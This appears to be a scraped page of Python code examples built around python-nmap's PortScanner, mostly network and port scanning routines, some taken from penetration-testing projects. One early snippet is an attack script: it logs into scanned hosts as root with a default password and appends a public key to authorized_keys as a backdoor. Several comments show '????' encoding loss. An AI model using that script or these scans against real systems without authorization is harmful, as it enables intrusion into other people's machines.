def real_scan(self, domain):
try:
open_ports = []
nm = nmap.PortScanner()
results = nm.scan(domain.ip)
hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
for host, status in hosts_list:
if status == "up":
protocols = nm[host].all_protocols()
for protocol in protocols:
ports = nm[host][protocol]
for port in ports:
if ports[port]['state'] == 'open':
open_ports.append(port)
return open_ports
except:
return []
python类PortScanner()的实例源码
def scanNetwork(network):
# Function for performing a network scan with nmap with the help of the python-nmap module
returnlist = []
import nmap
nm = nmap.PortScanner()
a = nm.scan(hosts=network, arguments='-sP')
for k, v in a['scan'].iteritems():
if str(v['status']['state']) == 'up':
try:
returnlist.append([str(v['addresses']['ipv4']), str(v['addresses']['mac'])])
except:
pass
# returnlist = hostsList array
return returnlist
def main():
# key
key = file("../keys/noma.pub").read()
# Get IP addresses to test
n = nmap.PortScanner()
res = n.scan("172.16.0-10.*", "22")
op = []
for i in res["scan"]:
if res["scan"][i]["tcp"][22]["state"] == "open":
op.append(i)
# Test if the password is default
for i in op:
try:
conn = ssh(user="root", host=i, password="password")
# Upload
conn.shell("mkdir /root/.ssh;touch /root/.ssh/authorized_keys;grep amon /root/.ssh/authorized_keys || (echo %s | base64 -d) >> /root/.ssh/authorized_keys" % key.encode("base64").replace("\n", ""))
log.success("%s succeeded" % i)
except:
log.info("%s failed" % i)
def getComputers(search=getDeviceNetwork()[2], args='-sS -p 22 -n -T5'):
"""Given string search and string args: Return list of hosts on network
'args' being nmap arguments to be passed to nmap for optimized searching on networks
'search' defaults to current network subnet
'args' defaults to '-sS -p 22 -n -T5'
To break down these NMAP arguments:
-sS : TCP SYN scan. A fast unobtrusive stealthy scan that shouldn't raise any flags while remaining quick
-p 22: Only scan port 22. This should speed things up while remaining fairly reliable
-n : No DNS resolution. Since we don't need the host names, we can go ahead and skip that
-T5 : Insane timing template. This is the most unreliable, but also the quickest. If you have issues with
assets being found, I'd suggest to start change with this option.
"""
nm = nmap.PortScanner()
scanInfo = nm.scan(hosts=search, arguments=args) # Remove -n to get DNS NetBIOS results
IPs = nm.all_hosts() # Gives me an host of hosts
return IPs, scanInfo
def portscanner(target_host,target_port,arguments="-T4 -A -v -Pn"):
"""
:param target_host:
:param target_port:
:return:
-sS ??SYN??????????????????????(?????,?????)
-T4 -T(0-5) ???3 4 ?Aggressive?????5?????????????????????5????????????????????1.5??
-A ?????????????????
"""
current_path = "%s/nmap_file/" % (os.getcwd())
if os.path.exists(current_path) == False:
os.mkdir("nmap_file")
arguments = arguments + " -oN %s%s" % (current_path,target_host)
if target_port == "" or target_port is None:
target_port = "1-65535"
scanner = nmap.PortScanner()
results = scanner.scan(hosts=target_host,ports=target_port,arguments=arguments,sudo=False)
# ???????????
return current_path+target_host,results
def get_ip_by_netmask(ip, port, netmask):
"""return {ip:product}, which port is open from ip's netmask"""
print('Scaning')
return_value = {}
nm = nmap.PortScanner()
nm.scan(hosts='%s/%s' % (ip, netmask), ports=port, arguments='')
print(nm.command_line())
hosts_list = [(x, nm[x]['tcp'][int(port)]['product']) for x in nm.all_hosts()]
print("Len of hosts_list: %s" % len(hosts_list))
for i in hosts_list:
if 1:
return_value[i[0]] = i[1]
else:
print("I pass")
return return_value
# ----------------------------------------------------------------------
def output(target):
'''
name: Nmap Ports Scaner
depends: cdn
priority: 7
version: 0.1
'''
if getattr(target, 'cdn', True): return
nm = nmap.PortScanner()
# nm.scan(target.ip, ','.join(map(str, ports)), arguments='-T4 -A')
nm.scan(target.ip, ','.join(map(str, ports)))
if 'tcp' not in nm[target.ip]: return
target.ports = []
# target.os = nm[target.ip]['osmatch'][0]['name']
for key,val in nm[target.ip]['tcp'].items():
target.ports.append(key)
target.ports.sort()
# cprint('OS: %s' % target.os, '+')
cprint('Ports: %s' % ', '.join(map(str, target.ports)), '+')
def get(self):
nm = nmap.PortScanner()
all_ip = nm.scan(hosts=hosts, arguments='-sL')
all_scan = all_ip.get("scan", {})
all_ip_list = all_scan.keys()
online = nm.scan(hosts=hosts, arguments="-sP")
online_scan = online.get("scan", {})
online_ip_list = online_scan.keys()
offline_ip_list = list(set(all_ip_list).difference(set(online_ip_list)))
d = {
"code": "200",
"response": offline_ip_list,
"success": True,
}
self.write(d)
def hostScan(host, ports, arguments, queue):
"""
host - ????: 127.0.0.1
ports - ????: 21,22,135,137,445,3389
arguments - ????: -Pn -sV
"""
try:
nm = nmap.PortScanner()
nm.scan(hosts=host, ports=ports, arguments=arguments)
if "tcp" in nm[host].all_protocols():
for port in nm[host]["tcp"].keys():
if nm[host]["tcp"][port]["state"] == "open":
#nm[host]["tcp"][port]["extrainfo"] match codes
pattern = re.compile('(php)|(aspx?)|(jsp)|(python)', re.I)
match = pattern.search(nm[host]["tcp"][port]["extrainfo"])
if match:
codes = match.group().lower()
else:
codes = ""
result = {
"id": get_id_md5(host, port),
"tags": "hostScan",
"host": host,
"port": port,
"product": nm[host]["tcp"][port]["product"],
"state": nm[host]["tcp"][port]["state"],
"version": nm[host]["tcp"][port]["version"],
"server": nm[host]["tcp"][port]["name"],
"codes": codes,
"extrainfo": nm[host]["tcp"][port]["extrainfo"],
"reason": nm[host]["tcp"][port]["reason"],
"cpe": nm[host]["tcp"][port]["cpe"],
"queue": queue
}
getPoolBR().lpush(RedisConfig.HOSTSCANKEY, json.dumps(result))
except Exception as e:
pass
def nmapScan(target_host, target_port):
target_port = str(target_port)
nm = nmap.PortScanner()
nm.scan(str(target_host), str(target_port))
port = target_port
name = nm[target_host]['tcp'][int(target_port)]['name']
state = nm[target_host]['tcp'][int(target_port)]['state']
product = nm[target_host]['tcp'][int(target_port)]['product']
extrainfo = nm[target_host]['tcp'][int(target_port)]['extrainfo']
reason = nm[target_host]['tcp'][int(target_port)]['reason']
version = nm[target_host]['tcp'][int(target_port)]['version']
conf = nm[target_host]['tcp'][int(target_port)]['conf']
if state == "open":
print "[*] " + target_host + " tcp/" + port + " state:" + state + " name:" + name + " product:" + product + " extrainfo:" + extrainfo + " reason:" + reason + " version:" + version + " conf:" + conf
else:
print "[-] " + target_host + " tcp/" + port + " state:" + state + " name:" + name + " product:" + product + " extrainfo:" + extrainfo + " reason:" + reason + " version:" + version + " conf:" + conf
P12_ScriptToFindDevicesConnectedInNetwork.py 文件源码
项目:Python-Programs
作者: OmkarPathak
项目源码
文件源码
阅读 22
收藏 0
点赞 0
评论 0
def scan_network():
scanner = nmap.PortScanner()
myIP = subprocess.check_output(['hostname -I'], shell=True)
myIP = str(myIP, 'utf-8').split('.')
print(myIP[:3])
scannedData = scanner.scan(hosts = '.'.join(myIP[:3]) + '.1/24', arguments = '-sP')
# printing all the IP addresses of connected devices
for hostnames in scannedData['scan']:
print(hostnames)
def scan(target):
obj = nmap.PortScanner()
obj.scan(hosts=target,arguments='-sT')
for host in obj.all_hosts():
print '\nHost: ' , host
print "----------------------------"
for proto in obj[host].all_protocols():
lport = obj[host][proto].keys()
lport.sort()
for port in lport:
ban = bannerread(host,port)
print ('Open Port: %s \t %s' % (port, ban))
def detect(target):
list1=[]
scn = nmap.PortScanner()
scn.scan(hosts=target,arguments='-sP')
if not scn.all_hosts():
print("Down")
for host in scn.all_hosts():
print 'Live: ', host
return(list1)
3_6_find_network_interface_status.py 文件源码
项目:Python-Network-Programming-Cookbook-Second-Edition
作者: PacktPublishing
项目源码
文件源码
阅读 23
收藏 0
点赞 0
评论 0
def get_interface_status(ifname):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ip_address = socket.inet_ntoa(fcntl.ioctl(
sock.fileno(),
0x8915, #SIOCGIFADDR, C socket library sockios.h
struct.pack(b'256s', bytes(ifname[:15], 'utf-8'))
)[20:24])
nm = nmap.PortScanner()
nm.scan(ip_address, SAMPLE_PORTS)
return nm[ip_address].state()
ssh_login.py 文件源码
项目:Python-Penetration-Testing-for-Developers
作者: PacktPublishing
项目源码
文件源码
阅读 35
收藏 0
点赞 0
评论 0
def target_identifier(dir,user,passwd,ips,port_num,ifaces):
bufsize = 0
ssh_hosts = "%s/ssh_hosts" % (dir)
scanner = nmap.PortScanner()
scanner.scan(ips, port_num)
open(ssh_hosts, 'w').close()
if scanner.all_hosts():
e = open(ssh_hosts, 'a', bufsize)
else:
sys.exit("[!] No viable targets were found!")
for host in scanner.all_hosts():
for k,v in ifaces.iteritems():
if v['addr'] == host:
print("[-] Removing %s from target list since it belongs to your interface!") % (host)
host = None
if host != None:
home_dir="/root"
ssh_hosts = "%s/ssh_hosts" % (home_dir)
bufsize=0
e = open(ssh_hosts, 'a', bufsize)
if 'ssh' in scanner[host]['tcp'][int(port_num)]['name']:
if 'open' in scanner[host]['tcp'][int(port_num)]['state']:
print("[+] Adding host %s to %s since the service is active on %s") % (host,ssh_hosts,port_num)
hostdata=host + "\n"
e.write(hostdata)
if not scanner.all_hosts():
e.closed
if ssh_hosts:
return ssh_hosts
def main():
echoC(__name__, "Starting a scan")
# Determine subnets
ipRangeList = getIPRange()
if ipRangeList == -1:
return -1
# Select a random subnet
rand = random.randint(0, len(ipRangeList)-1)
ipRange = ipRangeList[rand]
# Define arguments
scanOptions = ["-sF", "-sA", "-sU", "-sS", "-n -sP -PE"]
myArguments = random.choice(scanOptions) + " -T " + str(random.randint(1, 3))
echoC(__name__, "Scanning " + str(ipRange) + " with arguments: " + myArguments)
# Execute Scan
nm = nmap.PortScanner()
nm.scan(hosts=ipRangeList[rand], arguments=myArguments)
# Store the found IPs
# At first, delete old IPs
open(ipList, 'w').close()
for i in nm.all_hosts():
with open(ipList, 'a') as myfile:
myfile.write(str(i) + '\n')
echoC(__name__, "Done")
returnval = "0,nmap args: " + myArguments
return returnval
def setup_module():
global nm
nm = nmap.PortScanner()
def nmapScan(tgtHost, lock, tgtPort=''):
with lock:
nmapScan = nmap.PortScanner()
if tgtPort:
nmapScan.scan(tgtHost, tgtPort, arguments='-O')
state = nmapScan[tgtHost]['tcp'][int(tgtPort)]['state']
print('[+] {0} tcp/{1} {2}'.format(tgtHost, tgtPort, state))
else:
print(nmapScan.csv())
for proto in nmapScan[tgtHost].all_protocols():
lport = nmapScan[tgtHost][proto].keys()
for port in lport:
state = nmapScan[tgtHost][proto][int(port)]['state']
print('[+] {0} {1}/{2} {3}'.format(tgtHost, proto, port, state))
def launch(self):
scanner = nmap.PortScanner()
results = scanner.scan(self.get_value("host"), self.get_value("ports"))
pp = pprint.PrettyPrinter(indent=4)
pp.pprint(results["nmap"])
pp.pprint(results["scan"])
def run(self):
try:
from nmap import __version__
except ImportError:
from nmap import __version__
self.__communicate.finishScan.emit([])
return
from nmap import PortScanner
self.__targets = []
nm = PortScanner()
host = self.__host
arguments = self.__arguments
nm.scan(host, arguments=arguments)
for host in nm.all_hosts():
for proto in nm[host].all_protocols():
ports = list(nm[host][proto].keys())
ports.sort()
for port in ports:
target = Target(protocol=proto,
port=port,
name=nm[host][proto][port]['name'],
state=nm[host][proto][port]['state'],
product=nm[host][proto][port]['product'],
info=nm[host][proto][port]['extrainfo'],
version=nm[host][proto][port]['version'])
self.__targets.append(target)
self.__communicate.finishScan.emit(self.__targets)
def exploit(self):
n = nmap.PortScanner()
print('Scan {} ports: {}'.format(self.target, self.port))
arg = self.extra_arg.get('arg') if not self.extra_arg.get('arg') is None else '-sV -Pn'
result = n.scan(hosts=self.target, ports=self.port, arguments=arg)
print(result)
# TODO: qwq
def find_tgts(subnet):
nm_scan = nmap.PortScanner()
nm_scan.scan(subnet, '445')
tgt_hosts = []
for host in nm_scan.all_hosts():
if nm_scan[host].has_tcp(445):
state = nm_scan[host]['tcp'][445]['state']
if state == 'open':
print '[+] Found Target Host: ' + host
tgt_hosts.append(host)
return tgt_hosts
def createList(ipadr):
nm = nmap.PortScanner()
args = "-sP -PS -n -oG %s " % (reconf.opth)
nm.scan(ipadr,arguments=args)
fo = open(reconf.olst,"w")
with open(reconf.opth) as input:
for line in input:
line = line.split(" ")
if re.match('[a-zA-Z]',line[1]) is None:
fo.write("%s\n" % (line[1]))
fo.close()
FullFootprinting.py 文件源码
项目:Full-Footprinting-with-Python
作者: ahmetgurel
项目源码
文件源码
阅读 25
收藏 0
点赞 0
评论 0
def __init__(self):
self.cmd_arg = "-n -Pn -sS -sV -T4 --top-ports 10"
self.nmap_services_file = "/usr/share/nmap/nmap-services"
self.nm = nmap.PortScanner()
def __init__(self, config, display):
self.config = config
self.display = display
if not config:
self.config = {}
self.outfile = ""
self.nm = nmap.PortScanner()
def __init__(self, config, display):
self.config = config
self.display = display
if not config:
self.config = {}
self.outfile = ""
self.nm = nmap.PortScanner()
sshDictionaryAttack.py 文件源码
项目:ssh-password-cracker
作者: himadriganguly
项目源码
文件源码
阅读 18
收藏 0
点赞 0
评论 0
def nmapScan(tgtHost):
nmapScan = nmap.PortScanner()
nmapScan.scan(tgtHost, '22')
state = nmapScan[tgtHost]['tcp'][22]['state']
return state
def setup_module():
global nm
nm = nmap.PortScanner()
def setup_module():
global nm
nm = nmap.PortScanner()
def get(self):
nm = nmap.PortScanner()
result = nm.scan(hosts=hosts, arguments="-sP")
scan = result.get("scan", {})
ip_list = scan.keys()
d = {
"code": "200",
"response": ip_list,
"success": True,
}
self.write(d)